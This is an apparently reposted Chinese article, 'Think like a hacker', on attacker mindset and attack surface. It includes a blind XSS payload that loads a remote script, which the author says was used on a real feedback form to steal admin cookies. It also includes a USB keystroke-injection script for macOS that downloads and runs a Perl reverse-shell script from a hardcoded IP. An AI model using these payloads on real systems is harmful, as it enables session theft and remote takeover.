「如何实现流动式软件发布」线上课堂开课啦,快来报名参与课堂抽奖吧~ 了解详情
写点什么

像黑客一样思考

2019 年 10 月 27 日

像黑客一样思考

网络安全里经常说的一句话是未知攻焉知防,基本所有的安全人员也是一名黑客,在黑客攻击愈发普遍的今天,如何更好的防御黑客攻击?用句带有点哲学的话,成为黑客,只有成为黑客,像黑客一样思考,你才能知道从哪去防御黑客;很俗的一句话,但很实在!


看到了什么?


看到上图的第一直觉,你可以自己想下答案,问问自己看到了什么?


正常的思维,第一直观感受是中间那个很明显,很大的黑点,因为这个黑点最吸引大家的注意力,稍微看过一些哲学故事的同学可能会想到黑点周围白色的区域,是的,黑点只是其中一个小点,而黑点周围白色的部分则足够大;但是,我不知道有没有人的答案是白色再外面?文章区域再外面?或者整个浏览器?整个电脑屏幕?电脑外呢?其实想表达的也正是黑客的思维里,永远不是局限于可以看到的部分,而在于能够想到或者没想到的所有面。


其实这类同于攻击面!安全是木桶短板原理,木桶能装多少水不在于最长的那块板,而是最短的那块;而一个系统的安全程度不取决于安全做的多全,做的多高大上,而在于是否把那些最简单的问题处理掉?数据告诉我们,服务器入侵,除了漏洞之外最大途径是弱口令,而这就是一个根本没多少技术含量的方式,属于安全基线问题,就是同样的道理。对于黑客而言,攻击面不会局限于能够看到的点,而在于所有可能关联或者没关联的面,就比如渗透测试或者说 APT,很多时候结合社工这个点能够取得很好的效果,成为一个绝佳的入侵渠道。所以,第一点,学会放开自己的思维与想象,发现和关注平时所容易忽略和没有看到的地方。


什么是黑客?

什么是黑客?我用八个字总结,突破创造,守正出奇。在我看来,黑客永远不是一个贬义词,黑客本身就是极客,对于黑客来说,这个世界充满好奇,这个世界有太多的东西可以探索,特别是网络的世界。




黑客是一个追求自由的群体,不喜欢受到条条框框的约束,总是喜欢突破这一切,突破同时也可能是一种创造,创造新的方法,新的方式,新的工具,新的东西,就比如上图,小学课本里的乌鸦喝水,在我们看来是一种很傻的行为,但未尝不是一种稳定传统的方式?在生活中很多的事不也正如此?或者说就网络上很多安全的措施有时候也是稳定起见,因为新的东西除了先进,有时候也会带来风险。而对于黑客来说,可能考虑的更不是这些,而是尝试,好奇一切。


对于黑客而言,也有自己的黑客精神,有自己要坚持和秉承的东西(地下黑客的原则可能不同于正常黑客),这就是守正,自由、共享、平等、互助;在 Web 安全的世界里,我们经常会提到一个词"猥琐",或者说不仅限于 Web 安全,因为很多时候攻击的产生不是利用一个多厉害的漏洞,而在于猥琐的思路,几个定义为低危的小漏洞的组合也许威力比一个高危漏洞还大,这就取决于漏洞的组合使用,利用思路;这些"猥琐行为"就是一种出奇的表现。


了解黑客,成为黑客,才能更好的学会黑客的思考。


看到框就想 X


这是一个意见反馈的界面,看到这样一个界面,大家会怎么做?对于普通人来说,这就是一个正常的意见提交框,用处就是提交反馈内容;大家想想黑客会怎么做?提交攻击代码,比如下面的代码:


< / textarea > ’ "> < script src=http://t.cn/R63bUP9 > < /script>


实际上,当时看到这样一个功能,我就这样做了。这是 360 手游客服中心手机版的一个页面,可以提交反馈意见,我当时就直接提交了上面的攻击代码,然后就攻击成功了(这其实是一次 XSS 盲打,什么是 XSS 盲打大家可以自行搜索)。由于这样的功能往往看反馈内容的都是系统的相关管理员,于是被攻击成功的也是管理员,通过 XSS 盲打可以直接拿到管理员登录的账号的 Cookie 等信息(下图就是盲打平台中收到的攻击成功返回的后台地址和管理员 Cookie)。



当然,不仅限于这个页面,还有其他的:


这种行为总结而言,就是"看到框就想 X",这里的 X 也就是 XSS 的意思;其实这更多的是一种习惯和意识,在黑客的想法里,看到功能首先想到的不是使用,而是能不能利用,然后由于攻击做的多了,看到不同的功能和应用页面,自然就能意识到可能存在的问题,自然而然的就会去测试;经常会有很多人问,那些人在各种 SRC 提交的漏洞都是怎么挖的,是不是有神器?但是也不是每个人的安全测试工具都是神器啊!其实很多时候是在使用中发现漏洞!


不同的潜意识行为和想法,取决于不同的知识面和经验,也取决于不同的目的。


功能也是攻击方式

如果手机没电了,那么旁边如果其他人正好有电脑,借用其他人电脑的 USB 口给手机充电是一件很常见的事,但其实,只是插个数据线,也可以导致电脑被攻击,下面视频演示的是一部手机通过 USB 连接 MAC 电脑执行指定的命令(视频里是 ifconfig)。


视频里的手机是一个很普通的手机,安装了一个叫做"Nethunter"的黑客操作系统,也就成为"黑客手机",里面集成了一些黑客攻击工具,比如视频里演示的工具叫做 DuckHunter HID。看到这个视频,大家是否会觉得这个攻击挺高端的,物理黑客攻击,但当我告诉大家原理之后,大家可能想到的就是"原来如此,这么简单"。


手机上显示的代码是:


CONTROL SPACE

STRING iterm

ENTERENTER

STRING

ifconfig

ENTER


看完这个代码不知道大家是否已经明白了攻击原理,熟悉 MAC 操作的同学可能知道 CONTROL+SPACE 其实是调起 Spotlight,一个类似快捷启动的工具,然后输入 iterm,就是查找 iTerm,然后回车,打开 iTerm 后,再输入 ifconfig,再回车,就完成了整个命令输入执行的过程;大家可以发现,这其实就是一个模拟键盘操作的过程,没错,上面视频演示的攻击原理就是模拟键盘操作,其实这时候的手机用 USB 接入电脑相其实就是把自己设置为键盘接入电脑,然后再直接模拟键盘操作进行攻击。


那么是否可以进行危害更大的攻击?比如反弹 Shell?当然可以,改下代码即可:


CONTROL SPACE

STRING iterm

ENTERENTER

STRING wget http://45.32.8.108/b.pl.txt -O /tmp/b.plSTRING perl /tmp/b.pl

反弹监听 IP 监听端口

ENTER


讲这个例子的目的其实就是这部分的标题,功能也是攻击方式。在黑客的眼里,不是一定得使用漏洞,使用多高端的技巧,能达到攻击目的和效果的方式都是好的攻击方式,这些方式不局限于大家所了解的只是漏洞或者暴力破解等,而经常做的就是利用正常的功能来实现攻击,这种攻击因为使用的是正常的功能,有时候反而更隐蔽;而类似的攻击方式,不在少数。


结语

其实,近几年来,大家对黑客的了解已经越来越多,黑客也越来越失去神秘,然后大家就会发现,他们其实也是生活中的普通人;而在黑夜中工作,有时更多的是因为那时候安静,做事效率高,或者是管理员不在线好做一些秘密的攻击和测试等,而不是所谓各种描述里的戴着衣帽,把自己包裹在黑暗中,不露出自己的真面目等。


其实黑客所不同于普通人的点,除了掌握的知识外,就是做事和思考的方式,仅此而已!


本文转载自公众号云加社区(ID:QcloudCommunity)。


原文链接:


https://mp.weixin.qq.com/s/Lztsoi3mGRhwWrlz45SLXg


2019 年 10 月 27 日 14:34337

评论

发布
暂无评论
发现更多内容

架构师训练营第一期第十周总结

Leo乐

极客大学架构师训练营

week1总结

ルンルン

第十周作业总结

Geek_ce484f

极客大学架构师训练营

诗意地栖居在赛博世界:人间烟火中的EMUI设计美学

脑极体

架构师系列之7:分布式领域的CAP理论

桃花原记

架构师训练营第一期第十周作业

Leo乐

极客大学架构师训练营

架构师训练营 week6 课后作业

花果山

极客大学架构师训练营

微服务架构的认知思考

橘子皮嚼着不脆

第六周 cap原理

Geek_9527

万字长文,助你深度遨游Spring循环依赖源码实现!

云流

Java spring 编程

架构师训练营第二期 Week 6 作业

bigxiang

极客大学架构师训练营

架构师训练营第二期 Week 6 总结

bigxiang

极客大学架构师训练营

第 10 周 模块分解

Pyr0man1ac

week10作业

追风

架构师一期

架构师训练营第十周作业

Shunyi

极客大学架构师训练营

第十周总结

orchid9

第十周作业

Meow

Dubbo微服务调用的时序图

天天向上

极客大学架构师训练营

架构是训练营第 10 周作业

郎哲158

架构师训练营 week6 学习总结

花果山

极客大学架构师训练营

第十周作业

Geek_ce484f

极客大学架构师训练营

周练习 10

何毅曦

JVM垃圾回收

少林寺三毛

JVM

第十周总结

Meow

微服务架构及Dubbo 微服务调用的时序图

garlic

极客大学架构师训练营

CAP原理

Sandman

极客大学架构师训练营

架构训练营第六周作业

一期一会

分布式系统

第十周作业

极客大学架构师训练营

Elasticsearch配置和集群维护

Rayzh

ELK 日志 Elastic Stack

Netty源码解析 -- FastThreadLocal与HashedWheelTimer

binecy

源码 Netty

架构是训练营第 10 周学习笔记

郎哲158

像黑客一样思考-InfoQ